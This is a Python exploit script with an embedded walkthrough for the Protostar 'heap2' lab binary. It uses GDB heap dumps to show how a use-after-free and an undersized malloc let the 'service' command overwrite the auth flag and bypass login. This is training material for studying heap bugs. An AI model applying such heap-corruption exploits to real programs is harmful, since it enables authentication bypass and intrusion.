import sys

sys.stdout.write("auth naive\n"+"service AAAABBBBCCCCDDDD\n"+"login\n")

'''
            USE-AFTER-FREE VULNERABILITY

1. We are going to debugging with GDB and see what happen with our auth variable

(gdb) r
Starting program: /tmp/heap2 
[ auth = (nil), service = (nil) ]
auth naive

OK we got auth with "naive" but i want to see the memory mapping so....
(gdb) info proc mappings
process 5377
cmdline = '/tmp/heap2'
cwd = '/tmp'
exe = '/tmp/heap2'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x804b000     0x3000          0        /tmp/heap2
	 0x804b000  0x804c000     0x1000     0x3000        /tmp/heap2
	 0x804c000  0x804d000     0x1000          0           [heap]
	0xb7e96000 0xb7e97000     0x1000          0
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0
	0xb7fde000 0xb7fe2000     0x4000          0
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]

Now we just need disassembly the heap.
(gdb) x/64xw 0x804c000
0x804c000:	0x00000000	0x00000011	0x7669616e	0x00000a65
0x804c010:	0x00000000	0x00000ff1	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000

There is my string "naive" in the first chunk data bytes, just 5 bytes we overwrite 1 byte in the next position because the string has 5 bytes.

But right now, i realize that code has a vulnerability due to rename the same auth for the variables, so WTF!. Ok take a look in GDB setting a breakpoint into main function.
(gdb) c
Continuing.
[ auth = (nil), service = (nil) ]
auth naive
[ auth = 0x804c008, service = (nil) ]
auth venom
^C
(gdb) x/64xw 0x804c000
0x804c000:	0x00000000	0x00000011	0x7669616e	0x00000a65
0x804c010:	0x00000000	0x00000011	0x6f6e6576	0x00000a6d
0x804c020:	0x00000000	0x00000fe1	0x00000000	0x00000000
0x804c030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000

Ou! no way it is well known that our struct auth (see:source code) reserve just 32 char bytes + 4 integer bytes so 36 bytes for our chunk data but due to this declaration--> int auth; when we get our $eip instruction here: auth = malloc(sizeof(auth)) this reserve just 8 bytes and not 40 bytes!! So it's just a shit code programming because this will be auth = malloc(sizeof(struct auth)) to pointer in our struct.
So this is the explanaition why the second auth it is just here in 0x804c018 memory address and this should be alloc just 40 bytes and not 8 bytes...so let's continue!

Login command checks if int auth variable is not zero (see:source code) and if that's the case, we just logged in but else if it is zero just print enter a password to log in. 
So if we want to exploit this vulnerability we just need to set int auth variable some value and then we will get logged in!. Also if we use login command will can use the variable auth after it's free when using reset command.

But we know that int auth variable has the same name our struct! And also we know that we can write values in that. So when we enter service command this will use the auth struct pointer with the bad 8 bytes allocated and write it, because use strdup() function. And that is said from "man strdup" `it is this function returns a pointer to a new string which is a duplicate of the strings. Memory for the new string is obtained with malloc() and can be freed with free()`. So this function allocate the length of the string and copy it.
Take a look why service has the same memory address than auth if we use reset command:
auth naive
[ auth = 0x804c008, service = (nil) ]
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
service AAAA
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]
service AAAA
[ auth = 0x804c008, service = 0x804c008 ]

Cool, if we see in heap memory auth "naive" was overwritten by service.
^C
(gdb) x/64xw 0x804c000
0x804c000:	0x00000000	0x00000011	0x41414120	0x00000a41
0x804c010:	0x00000000	0x00000011	0x41414120	0x00000a41
0x804c020:	0x00000000	0x00000fe1	0x00000000	0x00000000
This is because auth got freed and service got this free space there.

If we print *auth we can see the values of service:
(gdb) print *auth
$1 = {
  name = " AAAA\n\000\000\000\000\000\000\021\000\000\000 AAAA\n\000\000\000\000\000\000\341\017\000", auth = 0}
(gdb) print *service
$2 = 32 ' '
(gdb) print service
$3 = 0x804c008 " AAAA\n"
(gdb) print auth
$4 = (struct auth *) 0x804c008

And also see our int auth variale set to zero, so we just need to write in. So as we saw before we can use service command for write anything in 0x804c008 memory address and auth command for write the auth pointer address.

Finally if we just bypass this bug and get the next 16 bytes because if you remember malloc allocate 8 bytes and not 40 bytes so int auth variable value will be in 0x804c028 and we will get overwrite!!

This is PoC:
(gdb) r
Starting program: /tmp/heap2 
[ auth = (nil), service = (nil) ]
auth naive
[ auth = 0x804c008, service = (nil) ]
service AAAABBBBCCCCDDDD       #JUST ENOUGH BYTES TO GET OVERWRITTEN INT AUTH VALUE
[ auth = 0x804c008, service = 0x804c018 ]
^C
(gdb) print *auth
$1 = {name = "naive\n\000\000\000\000\000\000\031\000\000\000 AAAABBBBCCCCDDD", auth = 2628}
(gdb) x/64wx 0x804c000
0x804c000:	0x00000000	0x00000011	0x7669616e	0x00000a65
0x804c010:	0x00000000	0x00000019	0x41414120	0x42424241
0x804c020:	0x43434342	0x44444443	0x00000a44	0x00000fd9

(gdb) c
Continuing.
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]


EXPLOITATION
user@protostar:/tmp$ python exploit_heap2.py > out
user@protostar:/tmp$ ./heap2 < out
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
'''
